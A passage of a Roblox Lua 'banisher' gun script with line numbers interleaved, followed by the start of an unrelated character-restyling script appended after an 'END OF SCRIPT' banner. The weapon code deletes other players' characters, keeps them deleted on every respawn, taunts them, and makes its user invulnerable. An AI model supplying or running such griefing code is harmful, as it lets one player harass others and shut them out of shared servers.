CreateWeldOrSnapOrMotor("Weld", Handle, Barrel, Part, CF(0, -0.6, 0), CF(0, 0, 0))
690
local Part = CreatePart(3, Weapon, "Metal", 0, 0, "Mid gray", "Part", VT(0,0.1,0.2),false)
691
MakeForm(Part,"Wedge")
692
CreateWeldOrSnapOrMotor("Weld", Handle, Barrel, Part, CF(0, 0.945, 0.1) * ANGLES(RAD(180), RAD(0), RAD(0)), CF(0, 0, 0))
693
local Hole = CreatePart(3, Weapon, "Metal", 0, 0, "Mid gray", "Eye", VT(0.125,0,0.125),false)
694
MakeForm(Hole,"Cyl")
695
CreateWeldOrSnapOrMotor("Weld", Handle, Barrel, Hole, CF(0, 0.98, 0), CF(0, 0, 0))
696
local Part = CreatePart(3, Weapon, "Metal", 0, 0, "Mid gray", "Part", VT(0,0,0),false)
697
local GEARWELD = CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.6, 0.7), CF(0, 0, 0))
698
CreateMesh("SpecialMesh", Part, "FileMesh", 156292343, "", VT(0.8,0.8,1.5), VT(0,0,0.2))
699
local Part = CreatePart(3, Weapon, "Metal", 0, 0.5, "Mid gray", "Eye", VT(0,0,0),false)
700
local GEARWELD2 = CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.6, 0.7), CF(0, 0, 0))
701
CreateMesh("SpecialMesh", Part, "FileMesh", 156292343, "", VT(0.9,0.9,0.3), VT(0,0,0.2))
702
coroutine.resume(coroutine.create(function()
703
	while wait() do
704
		GEARWELD.C0 = GEARWELD.C0 * ANGLES(RAD(0), RAD(0), RAD(5))
705
		GEARWELD2.C0 = GEARWELD2.C0 * ANGLES(RAD(0), RAD(0), RAD(-5))
706
	end
707
end))
708
709
ParticleEmitter({Speed = 0.2, Drag = 0, Size1 = 0.1, Size2 = 0, Lifetime1 = 0.3, Lifetime2 = 0.5, Parent = Hole, Emit = 100, Offset = 360, Enabled = true, Acel = VT(0,5,0)})
710
--ParticleEmitter({Speed = 0.5, Drag = 0, Size1 = 0.2, Size2 = 0, Lifetime1 = 0.3, Lifetime2 = 0.7, Parent = Dangle, Emit = 100, Offset = 360, Enabled = true, Acel = VT(0,5,0)})
711
712
for _, c in pairs(Weapon:GetDescendants()) do
713
	if c.ClassName == "Part" and c.Name ~= "Eye" and c.Parent ~= Effects and c.Parent.Parent ~= Effects then
714
		c.Material = "Glass"
715
		c.Color = C3(0,0,0)
716
	elseif c.ClassName == "Part" and c.Name == "Eye" then
717
		c.Color = C3(1,0,0)
718
		c.Material = "Neon"
719
	end
720
end
721
722
Weapon.Parent = Character
723
for _, c in pairs(Weapon:GetChildren()) do
724
	if c.ClassName == "Part" then
725
		c.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0)
726
	end
727
end
728
729
local SKILLTEXTCOLOR = C3(1,0,0)
730
local SKILLFONT = "Antique"
731
local SKILLTEXTSIZE = 7
732
733
Humanoid.Died:connect(function()
734
	ATTACK = true
735
end)
736
737
local SKILL1FRAME = CreateFrame(WEAPONGUI, 1, 2, UD2(0.1, 0, 0.90, 0), UD2(0.26, 0, 0.07, 0), C3(0,0,0), C3(0, 0, 0), "Skill 1 Frame")
738
--[[local SKILL2FRAME = CreateFrame(WEAPONGUI, 1, 2, UD2(0.63, 0, 0.90, 0), UD2(0.26, 0, 0.07, 0), C3(0,0,0), C3(0, 0, 0), "Skill 2 Frame")
739
local SKILL3FRAME = CreateFrame(WEAPONGUI, 1, 2, UD2(0.215, 0, 0.90, 0), UD2(0.26, 0, 0.07, 0), C3(0,0,0), C3(0, 0, 0), "Skill 3 Frame")
740
local SKILL4FRAME = CreateFrame(WEAPONGUI, 1, 2, UD2(0.525, 0, 0.90, 0), UD2(0.26, 0, 0.07, 0), C3(0,0,0), C3(0, 0, 0), "Skill 4 Frame")
741
local SKILL5FRAME = CreateFrame(WEAPONGUI, 1, 2, UD2(0.365, 0, 0.90, 0), UD2(0.26, 0, 0.07, 0), C3(0,0,0), C3(0, 0, 0), "Skill 5 Frame")
742
]]
743
local SKILL1TEXT = CreateLabel(SKILL1FRAME, "[Z] Banish Bullet", SKILLTEXTCOLOR, SKILLTEXTSIZE, SKILLFONT, 0, 2, 0.7, "Text 1")
744
--[[local SKILL2TEXT = CreateLabel(SKILL2FRAME, "[B] Ability 2", SKILLTEXTCOLOR, SKILLTEXTSIZE, SKILLFONT, 0, 2, 0.7, "Text 2")
745
local SKILL3TEXT = CreateLabel(SKILL3FRAME, "[C] Ability 3", SKILLTEXTCOLOR, SKILLTEXTSIZE, SKILLFONT, 0, 2, 0.7, "Text 3")
746
local SKILL4TEXT = CreateLabel(SKILL4FRAME, "[V] Ability 4", SKILLTEXTCOLOR, SKILLTEXTSIZE, SKILLFONT, 0, 2, 0.7, "Text 4")
747
local SKILL5TEXT = CreateLabel(SKILL5FRAME, "[X] Mercy", SKILLTEXTCOLOR, SKILLTEXTSIZE, SKILLFONT, 0, 2, 0.7, "Text 5")
748
]]
749
function printbye(Name)
750
	local MESSAGES = {"You cannot struggle, ","Your existance is an insult, ","Fade, ","Your existance is not desired, ","You are not permitted here, ","You are not to decide your fate, ","Be gone, ","You are already dead, ","Your live is an anomaly, ","Don't dare to return, ","Why are you resisting, ","You cannot exist here, ","Why are you struggling, ","Your fate was already decided, ","Goodbye, ","You cannot ignore my command, ","You cannot resist my command, ","You already died, "}
751
	warn(MESSAGES[MRANDOM(1,#MESSAGES)]..Name..".")	
752
end
753
754
workspace.ChildAdded:connect(function(instance)
755
    for BANISH = 1, #TOBANISH do
756
		if TOBANISH[BANISH] ~= nil then
757
			if instance.Name == TOBANISH[BANISH] then
758
				coroutine.resume(coroutine.create(function()
759
					printbye(instance.Name)
760
					instance:ClearAllChildren()
761
					Debris:AddItem(instance,0.0005)
762
				end))
763
			end
764
		end
765
	end
766
end)
767
768
--//=================================\\
769
--||			DAMAGING
770
--\\=================================//
771
772
function Banish(Foe)
773
	if Foe then
774
		coroutine.resume(coroutine.create(function()
775
			--if game.Players:FindFirstChild(Foe.Name) then
776
				table.insert(TOBANISH,Foe.Name)
777
				printbye(Foe.Name)
778
			--end
779
			Foe.Archivable = true
780
			local CLONE = Foe:Clone()
781
			Foe:Destroy()
782
			CLONE.Parent = Effects
783
			CLONE:BreakJoints()
784
			local MATERIALS = {"Glass","Neon"}
785
			for _, c in pairs(CLONE:GetDescendants()) do
786
				if c:IsA("BasePart") then
787
					if c.Name == "Torso" or c.Name == "UpperTorso" or c == CLONE.PrimaryPart then
788
 						CreateSound(340722848, c, 10, 1, false)
789
					end
790
					c.Anchored = true
791
					c.Transparency = c.Transparency + 0.2
792
					c.Material = MATERIALS[MRANDOM(1,2)]
793
					c.Color = C3(1,0,0)
794
					if c.ClassName == "MeshPart" then
795
						c.TextureID = ""
796
					end
797
					if c:FindFirstChildOfClass("SpecialMesh") then
798
						c:FindFirstChildOfClass("SpecialMesh").TextureId = ""
799
					end
800
					if c:FindFirstChildOfClass("Decal") then
801
						c:FindFirstChildOfClass("Decal"):remove()
802
					end
803
					c.Name = "Banished"
804
					c.CanCollide = false
805
				else
806
					c:remove()
807
				end
808
			end
809
			local A = false
810
			for i = 1, 35 do
811
				if A == false then
812
					A = true
813
				elseif A == true then
814
					A = false
815
				end
816
				for _, c in pairs(CLONE:GetDescendants()) do
817
					if c:IsA("BasePart") then
818
						c.Anchored = true
819
						c.Material = MATERIALS[MRANDOM(1,2)]
820
						c.Transparency = c.Transparency + 0.8/35
821
						if A == false then
822
							c.CFrame = c.CFrame*CF(MRANDOM(-45,45)/45,MRANDOM(-45,45)/45,MRANDOM(-45,45)/45)
823
						elseif A == true then
824
							c.CFrame = c.CFrame*CF(MRANDOM(-45,45)/45,MRANDOM(-45,45)/45,MRANDOM(-45,45)/45)						
825
						end
826
					end
827
				end
828
				Swait()
829
			end
830
			CLONE:remove()
831
		end))
832
	end
833
end
834
835
function ApplyAoE(POSITION,RANGE,ISBANISH)
836
	local CHILDREN = workspace:GetDescendants()
837
	for index, CHILD in pairs(CHILDREN) do
838
		if CHILD.ClassName == "Model" and CHILD ~= Character then
839
			local HUM = CHILD:FindFirstChildOfClass("Humanoid")
840
			if HUM then
841
				local TORSO = CHILD:FindFirstChild("Torso") or CHILD:FindFirstChild("UpperTorso")
842
				if TORSO then
843
					if (TORSO.Position - POSITION).Magnitude <= RANGE then
844
						if ISBANISH == true then
845
							Banish(CHILD)
846
						else
847
							if ISBANISH == "Gravity" then
848
								HUM.PlatformStand = true
849
								if TORSO:FindFirstChild("V3BanishForce"..Player.Name) then
850
									local grav = Instance.new("BodyPosition",TORSO)
851
									grav.D = 15
852
									grav.P = 20000
853
									grav.maxForce = Vector3.new(math.huge,math.huge,math.huge)
854
									grav.position = TORSO.Position
855
									grav.Name = "V3BanishForce"..Player.Name
856
								else
857
									TORSO:FindFirstChild("V3BanishForce"..Player.Name).position = TORSO.Position+VT(0,0.3,0)
858
									TORSO.RotVelocity = VT(MRANDOM(-25,25),MRANDOM(-25,25),MRANDOM(-25,25))
859
								end
860
							else
861
								HUM.PlatformStand = false
862
							end
863
						end
864
					elseif ISBANISH == "Gravity" then
865
						if TORSO:FindFirstChild("V3BanishForce"..Player.Name) then
866
							TORSO:FindFirstChild("V3BanishForce"..Player.Name):remove()
867
							HUM.PlatformStand = false
868
						end
869
					end
870
				end
871
			end
872
		end
873
	end
874
end
875
876
--//=================================\\
877
--||	ATTACK FUNCTIONS AND STUFF
878
--\\=================================//
879
880
function Shot()
881
	ATTACK = true
882
	Rooted = false
883
	for i=0, 0.4, 0.1 / Animation_Speed do
884
		Swait()
885
		turnto(Mouse.Hit.p)
886
		RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(90)), 0.5 / Animation_Speed)
887
		Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(-90)), 0.5 / Animation_Speed)
888
		RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(90), RAD(0), RAD(90)) * RIGHTSHOULDERC0, 0.5 / Animation_Speed)
889
		LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.6, 0) * ANGLES(RAD(-45), RAD(0), RAD(45)) * LEFTSHOULDERC0, 0.5 / Animation_Speed)
890
		RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.5 / Animation_Speed)
891
		LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.5 / Animation_Speed)
892
	end
893
	repeat
894
		for i=0, 0.2, 0.1 / Animation_Speed do
895
			Swait()
896
			turnto(Mouse.Hit.p)
897
			RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(90)), 0.5 / Animation_Speed)
898
			Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(-90)), 0.5 / Animation_Speed)
899
			RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(90), RAD(0), RAD(90)) * RIGHTSHOULDERC0, 0.5 / Animation_Speed)
900
			LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.6, 0) * ANGLES(RAD(-45), RAD(0), RAD(45)) * LEFTSHOULDERC0, 0.5 / Animation_Speed)
901
			RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.5 / Animation_Speed)
902
			LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.5 / Animation_Speed)
903
		end
904
		local HIT,POS = CastProperRay(Hole.Position, Mouse.Hit.p, 1000, Character)
905
		SpawnTrail(Hole.Position,POS)
906
		if HIT ~= nil then
907
			if HIT.Parent ~= workspace and HIT.Parent.ClassName ~= "Folder" then
908
				Banish(HIT.Parent)
909
			end
910
		end
911
		WACKYEFFECT({Time = 25, EffectType = "Wave", Size = VT(0.3,0,0.3), Size2 = VT(1,1.5,1), Transparency = 0, Transparency2 = 1, CFrame = Hole.CFrame, MoveToPos = Hole.CFrame*CF(0,0.5,0).p, RotationX = 0, RotationY = -15, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = nil, SoundPitch = nil, SoundVolume = nil})
912
		WACKYEFFECT({Time = 25, EffectType = "Wave", Size = VT(0.3,0,0.3), Size2 = VT(2,0.5,2), Transparency = 0, Transparency2 = 1, CFrame = Hole.CFrame, MoveToPos = nil, RotationX = 0, RotationY = 5, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = 904440937, SoundPitch = MRANDOM(8,11)/10, SoundVolume = 8})
913
		WACKYEFFECT({Time = 25, EffectType = "Wave", Size = VT(0.3,0,0.3), Size2 = VT(2,0.5,2), Transparency = 0, Transparency2 = 1, CFrame = CF(POS,Hole.Position) * ANGLES(RAD(-90), RAD(0), RAD(0)), MoveToPos = nil, RotationX = 0, RotationY = -5, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = nil, SoundPitch = MRANDOM(8,11)/10, SoundVolume = 8})
914
		WACKYEFFECT({Time = 25, EffectType = "Wave", Size = VT(0.3,0,0.3), Size2 = VT(2,0.5,2), Transparency = 0, Transparency2 = 1, CFrame = CF(POS,Hole.Position) * ANGLES(RAD(-90), RAD(0), RAD(0)), MoveToPos = nil, RotationX = 0, RotationY = 5, RotationZ = 0, Material = "Neon", Color = C3(1,0,0), SoundID = nil, SoundPitch = MRANDOM(8,11)/10, SoundVolume = 8})
915
		for i=0, 0.3, 0.1 / Animation_Speed do
916
			Swait()
917
			RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(90)), 0.5 / Animation_Speed)
918
			Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(-90)), 0.25 / Animation_Speed)
919
			RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(90), RAD(15), RAD(90)) * RIGHTSHOULDERC0, 0.5 / Animation_Speed)
920
			LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.6, 0) * ANGLES(RAD(-45), RAD(0), RAD(45)) * LEFTSHOULDERC0, 0.5 / Animation_Speed)
921
			RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.5 / Animation_Speed)
922
			LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.5 / Animation_Speed)
923
		end
924
	until KEYHOLD == false
925
	ATTACK = false
926
	Rooted = false
927
end
928
929
function AttackTemplate()
930
	ATTACK = true
931
	Rooted = false
932
	for i=0, 1, 0.1 / Animation_Speed do
933
		Swait()
934
		RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed)
935
		Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 0.15 / Animation_Speed)
936
		RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(12)) * RIGHTSHOULDERC0, 0.15 / Animation_Speed)
937
		LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(-12)) * LEFTSHOULDERC0, 0.15 / Animation_Speed)
938
		RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed)
939
		LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed)
940
	end
941
	ATTACK = false
942
	Rooted = false
943
end
944
945
--//=================================\\
946
--||	  ASSIGN THINGS TO KEYS
947
--\\=================================//
948
949
function MouseDown(Mouse)
950
	if ATTACK == false then
951
	end
952
end
953
954
function MouseUp(Mouse)
955
HOLD = false
956
end
957
958
function KeyDown(Key)
959
	KEYHOLD = true
960
	if Key == "z" and ATTACK == false then
961
		Shot()
962
	end
963
964
	if Key == "b" and ATTACK == false then
965
	end
966
967
	if Key == "c" and ATTACK == false then
968
	end
969
970
	if Key == "v" and ATTACK == false then
971
	end
972
973
	if Key == "x" and ATTACK == false then
974
	end
975
end
976
977
function KeyUp(Key)
978
	KEYHOLD = false
979
end
980
981
	Mouse.Button1Down:connect(function(NEWKEY)
982
		MouseDown(NEWKEY)
983
	end)
984
	Mouse.Button1Up:connect(function(NEWKEY)
985
		MouseUp(NEWKEY)
986
	end)
987
	Mouse.KeyDown:connect(function(NEWKEY)
988
		KeyDown(NEWKEY)
989
	end)
990
	Mouse.KeyUp:connect(function(NEWKEY)
991
		KeyUp(NEWKEY)
992
	end)
993
994
--//=================================\\
995
--\\=================================//
996
997
998
function unanchor()
999
	if UNANCHOR == true then
1000
		g = Character:GetChildren()
1001
		for i = 1, #g do
1002
			if g[i].ClassName == "Part" then
1003
				g[i].Anchored = false
1004
			end
1005
		end
1006
	end
1007
end
1008
1009
1010
--//=================================\\
1011
--||	WRAP THE WHOLE SCRIPT UP
1012
--\\=================================//
1013
1014
Humanoid.Changed:connect(function(Jump)
1015
	if Jump == "Jump" and (Disable_Jump == true) then
1016
		Humanoid.Jump = false
1017
	end
1018
end)
1019
1020
local CONNECT = nil
1021
1022
while true do
1023
	Swait()
1024
	ANIMATE.Parent = nil
1025
	if Character:FindFirstChildOfClass("Humanoid") == nil then
1026
		Humanoid = IT("Humanoid",Character)
1027
	end
1028
	for _,v in next, Humanoid:GetPlayingAnimationTracks() do
1029
	    v:Stop();
1030
	end
1031
	SINE = SINE + CHANGE
1032
	local TORSOVELOCITY = (RootPart.Velocity * VT(1, 0, 1)).magnitude
1033
	local TORSOVERTICALVELOCITY = RootPart.Velocity.y
1034
	local HITFLOOR = Raycast(RootPart.Position, (CF(RootPart.Position, RootPart.Position + VT(0, -1, 0))).lookVector, 4, Character)
1035
	local WALKSPEEDVALUE = 6 / (Humanoid.WalkSpeed / 16)
1036
	if ANIM == "Walk" and TORSOVELOCITY > 1 then
1037
		RootJoint.C1 = Clerp(RootJoint.C1, ROOTC0 * CF(0, 0, -0.15 * COS(SINE / (WALKSPEEDVALUE / 2))) * ANGLES(RAD(0), RAD(0) - RootPart.RotVelocity.Y / 75, RAD(0)), 2 * (Humanoid.WalkSpeed / 16) / Animation_Speed)
1038
		Neck.C1 = Clerp(Neck.C1, CF(0, -0.5, 0) * ANGLES(RAD(-90), RAD(0), RAD(180)) * ANGLES(RAD(2.5 * SIN(SINE / (WALKSPEEDVALUE / 2))), RAD(0), RAD(0) - Head.RotVelocity.Y / 30), 0.2 * (Humanoid.WalkSpeed / 16) / Animation_Speed)
1039
		RightHip.C1 = Clerp(RightHip.C1, CF(0.5, 0.875 - 0.125 * SIN(SINE / WALKSPEEDVALUE) - 0.15 * COS(SINE / WALKSPEEDVALUE*2), -0.125 * COS(SINE / WALKSPEEDVALUE) +0.2+ 0.2 * COS(SINE / WALKSPEEDVALUE)) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0) - RightLeg.RotVelocity.Y / 75, RAD(0), RAD(76 * COS(SINE / WALKSPEEDVALUE))), 0.2 * (Humanoid.WalkSpeed / 16) / Animation_Speed)
1040
		LeftHip.C1 = Clerp(LeftHip.C1, CF(-0.5, 0.875 + 0.125 * SIN(SINE / WALKSPEEDVALUE) - 0.15 * COS(SINE / WALKSPEEDVALUE*2), 0.125 * COS(SINE / WALKSPEEDVALUE) +0.2+ -0.2 * COS(SINE / WALKSPEEDVALUE)) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0) + LeftLeg.RotVelocity.Y / 75, RAD(0), RAD(76 * COS(SINE / WALKSPEEDVALUE))), 0.2 * (Humanoid.WalkSpeed / 16) / Animation_Speed)
1041
	elseif (ANIM ~= "Walk") or (TORSOVELOCITY < 1) then
1042
		RootJoint.C1 = Clerp(RootJoint.C1, ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.2 / Animation_Speed)
1043
		Neck.C1 = Clerp(Neck.C1, CF(0, -0.5, 0) * ANGLES(RAD(-90), RAD(0), RAD(180)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.2 / Animation_Speed)
1044
		RightHip.C1 = Clerp(RightHip.C1, CF(0.5, 1, 0) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.2 / Animation_Speed)
1045
		LeftHip.C1 = Clerp(LeftHip.C1, CF(-0.5, 1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.2 / Animation_Speed)
1046
	end
1047
	if TORSOVERTICALVELOCITY > 1 and HITFLOOR == nil then
1048
		ANIM = "Jump"
1049
		if ATTACK == false then
1050
			RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.2 / Animation_Speed)
1051
			Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-20), RAD(0), RAD(0)), 0.2 / Animation_Speed)
1052
			RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(45), RAD(0), RAD(25))* RIGHTSHOULDERC0, 0.15 / Animation_Speed)
1053
			LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(-40), RAD(0), RAD(-20)) * LEFTSHOULDERC0, 0.2 / Animation_Speed)
1054
			RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, -0.3) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(-5), RAD(0), RAD(-20)), 0.2 / Animation_Speed)
1055
			LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, -0.3) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(-5), RAD(0), RAD(20)), 0.2 / Animation_Speed)
1056
	    end
1057
	elseif TORSOVERTICALVELOCITY < -1 and HITFLOOR == nil then
1058
		ANIM = "Fall"
1059
		if ATTACK == false then
1060
			RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0, 0, 0 ) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.2 / Animation_Speed)
1061
			Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0 , 0 + ((1) - 1)) * ANGLES(RAD(20), RAD(0), RAD(0)), 0.2 / Animation_Speed)
1062
			RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(45), RAD(0), RAD(25))* RIGHTSHOULDERC0, 0.15 / Animation_Speed)
1063
			LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0), RAD(-60)) * LEFTSHOULDERC0, 0.2 / Animation_Speed)
1064
			RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(20)), 0.2 / Animation_Speed)
1065
			LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(10)), 0.2 / Animation_Speed)
1066
		end
1067
	elseif TORSOVELOCITY < 1 and HITFLOOR ~= nil then
1068
		ANIM = "Idle"
1069
		if ATTACK == false then
1070
			RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(-45)), 0.15 / Animation_Speed)
1071
			Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(45)), 0.15 / Animation_Speed)
1072
			RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.35, 0.5, -0.5) * ANGLES(RAD(75), RAD(45), RAD(-25))* RIGHTSHOULDERC0, 0.15 / Animation_Speed)
1073
			LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.25, 0.5, 0.5) * ANGLES(RAD(-45), RAD(0), RAD(45)) * LEFTSHOULDERC0, 0.15 / Animation_Speed)
1074
			RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(75), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed)
1075
			LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-50), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(0)), 0.15 / Animation_Speed)
1076
		end
1077
	elseif TORSOVELOCITY > 1 and HITFLOOR ~= nil then
1078
		ANIM = "Walk"
1079
		if ATTACK == false then
1080
			RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -0.1) * ANGLES(RAD(5), RAD(0), RAD(0)), 0.15 / Animation_Speed)
1081
			Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(5 - 8 * SIN(SINE / (WALKSPEEDVALUE / 2))), RAD(0), RAD(0)), 0.15 / Animation_Speed)
1082
			RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.1, -0.4) * ANGLES(RAD(150), RAD(0), RAD(0))* RIGHTSHOULDERC0, 0.15 / Animation_Speed)
1083
			LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(-60 * COS(SINE / WALKSPEEDVALUE)), RAD(0), RAD(-5)) * LEFTSHOULDERC0, 0.35 / Animation_Speed)
1084
			RightHip.C0 = Clerp(RightHip.C0, CF(1 , -1, 0) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(-15)), 2 / Animation_Speed)
1085
			LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(15)), 2 / Animation_Speed)
1086
		end
1087
	end
1088
	unanchor()
1089
	Humanoid.MaxHealth = "inf"
1090
	Humanoid.Health = "inf"
1091
	if Rooted == false then
1092
		Disable_Jump = false
1093
		Humanoid.WalkSpeed = Speed
1094
	elseif Rooted == true then
1095
		Disable_Jump = true
1096
		Humanoid.WalkSpeed = 0
1097
	end
1098
	sick.Parent = Torso
1099
	sick:resume()
1100
	sick.Volume = 8.2
1101
	sick.Pitch = 1
1102
	sick.SoundId = "rbxassetid://900318768"
1103
	sick.Name = "Dead"
1104
end
1105
1106
--//=================================\\
1107
--\\=================================//
1108
1109
1110
1111
1112
1113
--//====================================================\\--
1114
--||			  		 END OF SCRIPT
1115
--\\====================================================//--
1116
1117
paly = owner
1118
Player = owner
1119
p = owner
1120
char = paly.Character
1121
vt = Vector3.new
1122
rarm = char["Right Arm"]
1123
hed = char.Head
1124
larm = char["Left Arm"]
1125
rleg = char["Right Leg"]
1126
lleg = char["Left Leg"]
1127
local maincolor = BrickColor.random()
1128
local effolemode = false
1129
local wrathmode = false
1130
local noobmode = false
1131
local randomname = "???"
1132
local randomnamefem = "???"
1133
local randomchanger = 6
1134
if paly.Name == "BINO2002" then
1135
randomchanger = 6
1136
end
1137
if randomchanger == 6 then
1138
randomnamefem = "Sweet T"
1139
effolemode = true
1140
maincolor = BrickColor.new("Really black")
1141
1142
local torsmesh = Instance.new("CharacterMesh", char)
1143
torsmesh.BodyPart = "Torso"
1144
torsmesh.MeshId = "27111894"
1145
local dec2 = Instance.new("Decal", char)
1146
dec2.Face = "Front"
1147
dec2.Texture = "rbxassetid://381091841"
1148
dec2.Parent = char.Head
1149
char.Head.face.Transparency = 1
1150
char.Head.face.Texture = "http://www.roblox.com/asset/?id=0"
1151
1152
for i,v in pairs(char:children()) do
1153
    if v:IsA("Hat") then
1154
        v:Destroy()
1155
    end
1156
end
1157
for i,v in pairs(char:children()) do
1158
    if v:IsA("Accessory") then
1159
        v:Destroy()
1160
    end
1161
end
1162
for i,v in pairs(char:children()) do
1163
    if v:IsA("Hair") then
1164
        v:Destroy()
1165
    end
1166
end
1167
for i,v in pairs(char:children()) do
1168
    if v:IsA("Shirt") then
1169
        v:Destroy()
1170
    end
1171
end
1172
